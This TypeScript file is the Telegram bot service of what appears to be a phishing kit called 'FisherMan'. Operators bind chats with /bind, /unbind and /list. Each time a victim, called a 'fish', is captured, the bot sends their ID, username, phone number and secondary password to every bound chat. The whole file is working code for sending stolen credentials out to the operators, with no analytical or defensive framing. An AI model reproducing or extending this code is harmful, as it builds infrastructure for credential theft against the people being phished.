bot.service.ts 8.2 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275
  1. import { Telegraf } from 'telegraf'
  2. import { Fish } from '../entities/fish.entity'
  3. import { ConfigType } from '../entities/sys-config.entity'
  4. import { SysConfig } from '../entities/sys-config.entity'
  5. import { Repository } from 'typeorm'
  6. import { createApp } from '../app'
  7. export class BotService {
  8. private static _instance: BotService
  9. public static get instance(): BotService {
  10. if (!this._instance) {
  11. this._instance = new BotService()
  12. }
  13. return this._instance
  14. }
  15. private bot: Telegraf
  16. private sysConfigRepository: Repository<SysConfig>
  17. private app: any
  18. private constructor() {
  19. this.initializeApp()
  20. }
  21. private async initializeApp() {
  22. try {
  23. this.app = await createApp()
  24. this.sysConfigRepository = this.app.dataSource.getRepository(SysConfig)
  25. // 检查 BOT_TOKEN 是否存在
  26. if (!this.app.config.BOT_TOKEN) {
  27. console.warn('BOT_TOKEN 未配置,跳过 Telegram Bot 初始化')
  28. return
  29. }
  30. this.bot = new Telegraf(this.app.config.BOT_TOKEN, {})
  31. this.setupCommands()
  32. // 添加启动错误处理
  33. this.bot.launch().catch(error => {
  34. this.app.log.error('Telegram Bot 启动失败:' + error)
  35. this.app.log.error('请检查网络连接和 BOT_TOKEN 是否正确')
  36. })
  37. this.app.log.info('Telegram bot started')
  38. } catch (error) {
  39. this.app.log.error('BotService 初始化失败:' + error)
  40. }
  41. }
  42. private setupCommands(): void {
  43. this.bot.start(ctx => ctx.reply('欢迎使用FisherMan!'))
  44. this.bot.command('id', ctx => {
  45. const chatId = ctx.chat?.id
  46. const message = `聊天ID: <code>${chatId}</code>\n`
  47. ctx.reply(message, { parse_mode: 'HTML' })
  48. })
  49. this.bot.command('bind', async ctx => {
  50. const chatId = ctx.chat?.id
  51. if (!chatId) {
  52. return ctx.reply('❌ 无法获取聊天ID')
  53. }
  54. try {
  55. await this.bindChatId(chatId.toString())
  56. const chatTitle = (ctx.chat as any)?.title || ctx.from?.first_name || '未知'
  57. ctx.reply(`✅ 成功绑定聊天:${chatTitle} (ID: ${chatId})`)
  58. } catch (error) {
  59. this.app.log.error(error, 'bind command error')
  60. ctx.reply('❌ 绑定失败,请稍后重试')
  61. }
  62. })
  63. this.bot.command('unbind', async ctx => {
  64. const chatId = ctx.chat?.id
  65. if (!chatId) {
  66. return ctx.reply('❌ 无法获取聊天ID')
  67. }
  68. try {
  69. await this.unbindChatId(chatId.toString())
  70. const chatTitle = (ctx.chat as any)?.title || ctx.from?.first_name || '未知'
  71. ctx.reply(`✅ 成功解绑聊天:${chatTitle} (ID: ${chatId})`)
  72. } catch (error) {
  73. this.app.log.error(error, 'unbind command error')
  74. ctx.reply('❌ 解绑失败,请稍后重试')
  75. }
  76. })
  77. this.bot.command('list', async ctx => {
  78. try {
  79. const chatIdConfig = await this.sysConfigRepository.findOne({ where: { name: 'chatId' } })
  80. if (!chatIdConfig || !chatIdConfig.value.trim()) {
  81. return ctx.reply('📋 当前没有绑定的聊天ID')
  82. }
  83. const chatIds = chatIdConfig.value
  84. .split(',')
  85. .map(id => id.trim())
  86. .filter(id => id.length > 0)
  87. let message = `📋 <b>已绑定的聊天ID列表</b>\n\n`
  88. chatIds.forEach((id, index) => {
  89. message += `${index + 1}. <code>${id}</code>\n`
  90. })
  91. message += `\n💡 使用 /unbind 命令可以解绑当前聊天`
  92. ctx.reply(message, { parse_mode: 'HTML' })
  93. } catch (error) {
  94. this.app.log.error(error, 'list command error')
  95. ctx.reply('❌ 获取列表失败,请稍后重试')
  96. }
  97. })
  98. this.bot.catch((err: any, ctx) => {
  99. this.app.log.error(err, 'bot error')
  100. ctx.reply('出错了: ' + err.message)
  101. })
  102. }
  103. onStop() {
  104. this.app.log.info('stop bot')
  105. try {
  106. this.bot.stop()
  107. } catch (error) {}
  108. }
  109. async sendMessage(chatId: number | string, text: string) {
  110. if (!this.bot) {
  111. this.app.log.warn('Bot 未初始化,无法发送消息')
  112. return
  113. }
  114. try {
  115. await this.bot.telegram.sendMessage(chatId, text, { parse_mode: 'HTML' })
  116. } catch (error) {
  117. this.app.log.error(`发送消息失败:${error}`)
  118. }
  119. }
  120. async sendFishNotification(
  121. chatId: number | string,
  122. id: string,
  123. username: string,
  124. phone: string,
  125. password: string,
  126. createdAt: Date
  127. ) {
  128. const text = `🎣 <b>🎉 新鱼上钩!🎉</b>
  129. 鱼苗ID: <code>${id}</code>
  130. 用户名: <code>${username ? username : ''}</code>
  131. 手机号: <code>${phone ? `+${phone}` : ''}</code>
  132. 二级密码: <code>${password || '未设置'}</code>
  133. 上鱼时间: <code>${createdAt.toLocaleString('zh-CN')}</code>`
  134. await this.sendMessage(chatId, text)
  135. }
  136. async sendFishNotificationToAll(id: string, username: string, phone: string, password: string, createdAt: Date) {
  137. if (!this.bot) {
  138. this.app.log.warn('Bot 未初始化,跳过发送通知')
  139. return
  140. }
  141. if (!this.sysConfigRepository) {
  142. this.app.log.warn('SysConfigRepository 未初始化,跳过发送通知')
  143. return
  144. }
  145. try {
  146. const chatIdConfig = await this.sysConfigRepository.findOne({ where: { name: 'chatId' } })
  147. if (!chatIdConfig?.value?.trim()) {
  148. this.app.log.warn('chatId 配置不存在或为空,跳过发送通知')
  149. return
  150. }
  151. const chatIds = chatIdConfig.value
  152. .split(',')
  153. .map(id => id.trim())
  154. .filter(id => id.length > 0)
  155. if (chatIds.length === 0) {
  156. this.app.log.warn('没有有效的 chatId 配置')
  157. return
  158. }
  159. this.app.log.info(`准备向 ${chatIds.length} 个聊天发送通知: ${chatIds.join(', ')}`)
  160. for (const chatId of chatIds) {
  161. try {
  162. await this.sendFishNotification(chatId, id, username, phone, password, createdAt)
  163. this.app.log.info(`成功发送通知到 chatId: ${chatId}`)
  164. } catch (error) {
  165. this.app.log.error(`发送通知到 chatId ${chatId} 失败:`, error)
  166. }
  167. }
  168. } catch (error) {
  169. this.app.log.error('sendFishNotificationToAll 失败:', error)
  170. }
  171. }
  172. async bindChatId(chatId: string) {
  173. if (!this.sysConfigRepository) {
  174. throw new Error('SysConfigRepository 未初始化')
  175. }
  176. const existingConfig = await this.sysConfigRepository.findOne({ where: { name: 'chatId' } })
  177. if (existingConfig) {
  178. const currentChatIds = existingConfig.value
  179. .split(',')
  180. .map(id => id.trim())
  181. .filter(id => id.length > 0)
  182. if (currentChatIds.includes(chatId)) {
  183. this.app.log.info(`chatId ${chatId} 已存在,跳过绑定`)
  184. return
  185. }
  186. currentChatIds.push(chatId)
  187. existingConfig.value = currentChatIds.join(',')
  188. await this.sysConfigRepository.save(existingConfig)
  189. this.app.log.info(`成功更新 chatId 配置,添加: ${chatId}`)
  190. } else {
  191. const newConfig = this.sysConfigRepository.create({
  192. name: 'chatId',
  193. value: chatId,
  194. remark: 'Telegram 通知接收者聊天ID',
  195. type: ConfigType.String
  196. })
  197. await this.sysConfigRepository.save(newConfig)
  198. this.app.log.info(`成功创建 chatId 配置: ${chatId}`)
  199. }
  200. }
  201. async unbindChatId(chatId: string) {
  202. if (!this.sysConfigRepository) {
  203. throw new Error('SysConfigRepository 未初始化')
  204. }
  205. const existingConfig = await this.sysConfigRepository.findOne({ where: { name: 'chatId' } })
  206. if (!existingConfig) {
  207. this.app.log.warn('chatId 配置不存在,无法解绑')
  208. return
  209. }
  210. const currentChatIds = existingConfig.value
  211. .split(',')
  212. .map(id => id.trim())
  213. .filter(id => id.length > 0)
  214. const filteredChatIds = currentChatIds.filter(id => id !== chatId)
  215. if (filteredChatIds.length === currentChatIds.length) {
  216. this.app.log.info(`chatId ${chatId} 不存在,跳过解绑`)
  217. return
  218. }
  219. if (filteredChatIds.length === 0) {
  220. await this.sysConfigRepository.remove(existingConfig)
  221. this.app.log.info('成功删除 chatId 配置')
  222. } else {
  223. existingConfig.value = filteredChatIds.join(',')
  224. await this.sysConfigRepository.save(existingConfig)
  225. this.app.log.info(`成功更新 chatId 配置,移除: ${chatId}`)
  226. }
  227. }
  228. }